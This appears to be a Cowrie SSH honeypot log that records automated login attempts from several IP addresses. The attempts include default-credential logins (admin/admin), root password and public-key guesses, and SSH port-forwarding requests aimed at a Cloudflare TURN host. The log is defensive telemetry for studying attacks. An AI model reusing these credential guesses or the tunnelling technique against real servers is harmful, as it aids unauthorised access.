{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:21.021837Z","src_ip":"45.148.10.121","session":"f7f567105324","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:21.278134Z","src_ip":"45.148.10.121","session":"f7f567105324","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:21.365972Z","session":"f7f567105324","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:21.460565Z","src_ip":"45.148.10.121","session":"f7f567105324","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:21.468544Z","src_ip":"45.148.10.121","session":"f7f567105324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:21.559187Z","src_ip":"45.148.10.121","session":"f7f567105324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":33576,"dst_ip":"159.203.135.109","dst_port":22,"session":"22bd5368dfce","protocol":"ssh","message":"New connection: 45.148.10.121:33576 (159.203.135.109:22) [session: 22bd5368dfce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:21.637274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:21.642962Z","src_ip":"45.148.10.121","session":"22bd5368dfce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:21.727458Z","src_ip":"45.148.10.121","session":"22bd5368dfce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:21.986052Z","src_ip":"45.148.10.121","session":"22bd5368dfce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:22.108522Z","session":"22bd5368dfce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:22.232520Z","src_ip":"45.148.10.121","session":"22bd5368dfce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:22.236320Z","src_ip":"45.148.10.121","session":"22bd5368dfce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:22.382102Z","src_ip":"45.148.10.121","session":"22bd5368dfce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.69.130","src_port":44326,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c9600af4078","protocol":"ssh","message":"New connection: 74.48.69.130:44326 (10.17.0.5:22) [session: 5c9600af4078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.057523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.061483Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.129421Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:42:e6:36:a9:9d:fc:52:83:2d:7e:9f:76:34:5b:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfGUX3qBamCM0Y4Sl4ounqdDbvZuW+PRCl9g9xF7ZKmlXXzmnsT9/lc1C0SapfMef28hddYDlB0jPBJHjG+ctrmKMV97Yx+hxAxSnKAY1znQ31Sp/VVb+7EbKKyIr8nohn70U3THCLQU4HcOI/1EWLYeyTwUCTcjhsvT7xMMM/J+FxFGPaHLg6E37O/4FL1SyJZ5jzZovsAcxM3vsra2acz3djgHWQJ4g8vWcICpiGYRUBN1Fzf5m+nBDMuoDDfv4vtZGs2aZIFsCxFMueetMHnJ8tZcg4WNR0quKeXfy4e6gDaLFiIuuIpGHgh1dqf35z3E5VKtSnF0VxdqSuctNN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:42:e6:36:a9:9d:fc:52:83:2d:7e:9f:76:34:5b:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.447534Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:42:e6:36:a9:9d:fc:52:83:2d:7e:9f:76:34:5b:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfGUX3qBamCM0Y4Sl4ounqdDbvZuW+PRCl9g9xF7ZKmlXXzmnsT9/lc1C0SapfMef28hddYDlB0jPBJHjG+ctrmKMV97Yx+hxAxSnKAY1znQ31Sp/VVb+7EbKKyIr8nohn70U3THCLQU4HcOI/1EWLYeyTwUCTcjhsvT7xMMM/J+FxFGPaHLg6E37O/4FL1SyJZ5jzZovsAcxM3vsra2acz3djgHWQJ4g8vWcICpiGYRUBN1Fzf5m+nBDMuoDDfv4vtZGs2aZIFsCxFMueetMHnJ8tZcg4WNR0quKeXfy4e6gDaLFiIuuIpGHgh1dqf35z3E5VKtSnF0VxdqSuctNN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.451185Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:45:f5:4c:e2:52:33:39:61:c8:45:7f:2f:f1:2d:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEXppstm7IlieghURn+OPuIJzBD8P2I4Kzrn50VDvpnIJWuZnRVLylWMxOTb+Y3qklKEOfiCQjpi6IALTr8yLXDY0IT2s4hOvNIvgS0C+YMsgpc3wp8Oc3YMSLc+EI1RBWOYeOsvHZUunnkIPxCFChQZ8kLvxeEk2e7Xo5gPPvoZQ9aKdoKqOHuuioZ1KpGXUECwtOOF21rZ8UtKgZIgHneEEGjB+O2Xm/Od+jZD3LUeIIKuMd+Idz7i8vvuUeVpE/rmUh9URxRsLNTWE00118xygiWdACKa0mTIQEjYWxZ5UVUari7fhhLDCB7wX1qIl5iS9XDTXon95MdAIIVyzL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:45:f5:4c:e2:52:33:39:61:c8:45:7f:2f:f1:2d:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.518752Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:45:f5:4c:e2:52:33:39:61:c8:45:7f:2f:f1:2d:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEXppstm7IlieghURn+OPuIJzBD8P2I4Kzrn50VDvpnIJWuZnRVLylWMxOTb+Y3qklKEOfiCQjpi6IALTr8yLXDY0IT2s4hOvNIvgS0C+YMsgpc3wp8Oc3YMSLc+EI1RBWOYeOsvHZUunnkIPxCFChQZ8kLvxeEk2e7Xo5gPPvoZQ9aKdoKqOHuuioZ1KpGXUECwtOOF21rZ8UtKgZIgHneEEGjB+O2Xm/Od+jZD3LUeIIKuMd+Idz7i8vvuUeVpE/rmUh9URxRsLNTWE00118xygiWdACKa0mTIQEjYWxZ5UVUari7fhhLDCB7wX1qIl5iS9XDTXon95MdAIIVyzL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.522484Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:8c:dc:51:be:5f:69:e3:39:2e:61:a6:85:2b:cb:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAEeki2aVhmdNsGyCJLLNrINtlsnkaFawNvfCnk0+N5QCA+y4RsjWbbEC3FqJdwpn1ajbx+sVQ27VC8pQdxhybT3gtXek8zZjaISXRvvGWtF9JG6yRSzsojt1ZThGM/OckvdM+31WlVy0CgvqqaapDUd+5sgZ1vbQg5nsTOxUK7Evn75bwRxNtSFDvNvsDPKOPo67WgzakBNa8hGN5zTCNA9jdFb+OXhkQ8y21EXdamNBqiXLe5sZIZ+HiRkZoqdqkJO9XT7luTzdhrDdqUk716f/N8uGUXWs6LmsrXPCgjmsX6a2t8hTd33SGCDkqQvg2Od/dBIUFzfmOfWCCC2ryJeyJNdXUTmzTuiNlPiTy1ZDZaj6nTFS4dSQIo7QLfFj9YSICh/sagWBqEFVqYSlRfT7bKWBDzVRRZcIXnz8+nSImQ2ig/NpU13gLNuakgWfZgBEx3eDF+vpkpfyijga6UAWFYrPWag3Wn+wzc8/mXZdX0UIIAUabCcI6f8Enh80=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:8c:dc:51:be:5f:69:e3:39:2e:61:a6:85:2b:cb:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.590486Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:8c:dc:51:be:5f:69:e3:39:2e:61:a6:85:2b:cb:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAEeki2aVhmdNsGyCJLLNrINtlsnkaFawNvfCnk0+N5QCA+y4RsjWbbEC3FqJdwpn1ajbx+sVQ27VC8pQdxhybT3gtXek8zZjaISXRvvGWtF9JG6yRSzsojt1ZThGM/OckvdM+31WlVy0CgvqqaapDUd+5sgZ1vbQg5nsTOxUK7Evn75bwRxNtSFDvNvsDPKOPo67WgzakBNa8hGN5zTCNA9jdFb+OXhkQ8y21EXdamNBqiXLe5sZIZ+HiRkZoqdqkJO9XT7luTzdhrDdqUk716f/N8uGUXWs6LmsrXPCgjmsX6a2t8hTd33SGCDkqQvg2Od/dBIUFzfmOfWCCC2ryJeyJNdXUTmzTuiNlPiTy1ZDZaj6nTFS4dSQIo7QLfFj9YSICh/sagWBqEFVqYSlRfT7bKWBDzVRRZcIXnz8+nSImQ2ig/NpU13gLNuakgWfZgBEx3eDF+vpkpfyijga6UAWFYrPWag3Wn+wzc8/mXZdX0UIIAUabCcI6f8Enh80=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.594268Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:95:e8:68:7c:b7:ab:8f:f2:12:90:b7:6a:9a:85:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc5PeWdVk1nNWM1MlR34KMCyJoOYqcbN4VLK9KRJfBBIDerAXzr7aecdMba2ZquSHscNmVJ89yU9aNDpcA1d4moGQccOcUDSBzB22YcAicSgnXK69daYjmoNHRrlAtw0EaX665gtgfWH7lq3mirFgLlAm816dIWvB1HrzPCcQe4mV8ebMFDB+4QseTYb+aoeAj3rHh27+CK6UPrR79DE3mSfntwGfBhuekABUwftsqZvbKVl2FtJJj3vKqumsn3//Wyb777VnHDG7gLwvlf/tSJLGm6mxfFoj2dLacOSI+zQk4CilrWJou5qKpiSI3NAvtWVMl529mrXXI163G/0wn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:95:e8:68:7c:b7:ab:8f:f2:12:90:b7:6a:9a:85:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.664747Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:95:e8:68:7c:b7:ab:8f:f2:12:90:b7:6a:9a:85:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc5PeWdVk1nNWM1MlR34KMCyJoOYqcbN4VLK9KRJfBBIDerAXzr7aecdMba2ZquSHscNmVJ89yU9aNDpcA1d4moGQccOcUDSBzB22YcAicSgnXK69daYjmoNHRrlAtw0EaX665gtgfWH7lq3mirFgLlAm816dIWvB1HrzPCcQe4mV8ebMFDB+4QseTYb+aoeAj3rHh27+CK6UPrR79DE3mSfntwGfBhuekABUwftsqZvbKVl2FtJJj3vKqumsn3//Wyb777VnHDG7gLwvlf/tSJLGm6mxfFoj2dLacOSI+zQk4CilrWJou5qKpiSI3NAvtWVMl529mrXXI163G/0wn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.668995Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:b9:9f:e9:ce:a2:83:88:bb:c4:2f:7c:56:7e:a4:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8rwCogU7PddceD8evIGiHDt3IuTpGx2DBF/eMv1bCa55Wchb8t9ZBtMIPd0Iq1R1VHdIGGkm37KA5qB4/UuIg5uq8WKu3EGYS8rRPqjf3+ZOBqCZDUjJ4rjgyMGyfXjXPmxG8DhTOcCCNXCQsONM4BgZNZZurcs58/Nsy8ufpX7JCGJePDKK7Jl0tL9QZJvZFgYezmXClKmoYQ1hN1ckhZ3NVxeznsBQHZqmndXiIHXyulwya+tZs/06/tyybCuBxUZ4c4vZS4e7OcpFq8S75LNStbJTpjmMnT72uzn20EFTcmOcaY50xAh5gMfjYIFjXwNsY9ISV9PHJOhPBqBo/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:b9:9f:e9:ce:a2:83:88:bb:c4:2f:7c:56:7e:a4:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.737606Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:b9:9f:e9:ce:a2:83:88:bb:c4:2f:7c:56:7e:a4:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8rwCogU7PddceD8evIGiHDt3IuTpGx2DBF/eMv1bCa55Wchb8t9ZBtMIPd0Iq1R1VHdIGGkm37KA5qB4/UuIg5uq8WKu3EGYS8rRPqjf3+ZOBqCZDUjJ4rjgyMGyfXjXPmxG8DhTOcCCNXCQsONM4BgZNZZurcs58/Nsy8ufpX7JCGJePDKK7Jl0tL9QZJvZFgYezmXClKmoYQ1hN1ckhZ3NVxeznsBQHZqmndXiIHXyulwya+tZs/06/tyybCuBxUZ4c4vZS4e7OcpFq8S75LNStbJTpjmMnT72uzn20EFTcmOcaY50xAh5gMfjYIFjXwNsY9ISV9PHJOhPBqBo/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.740964Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:39:51.808821Z","src_ip":"74.48.69.130","session":"5c9600af4078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":42432,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f2850d247bb","protocol":"ssh","message":"New connection: 62.133.62.83:42432 (159.203.135.109:22) [session: 7f2850d247bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:00.818177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:00.823883Z","src_ip":"62.133.62.83","session":"7f2850d247bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:00.902965Z","src_ip":"62.133.62.83","session":"7f2850d247bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sestra","message":"login attempt [root/sestra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:01.147538Z","src_ip":"62.133.62.83","session":"7f2850d247bb","protocol":"ssh"}
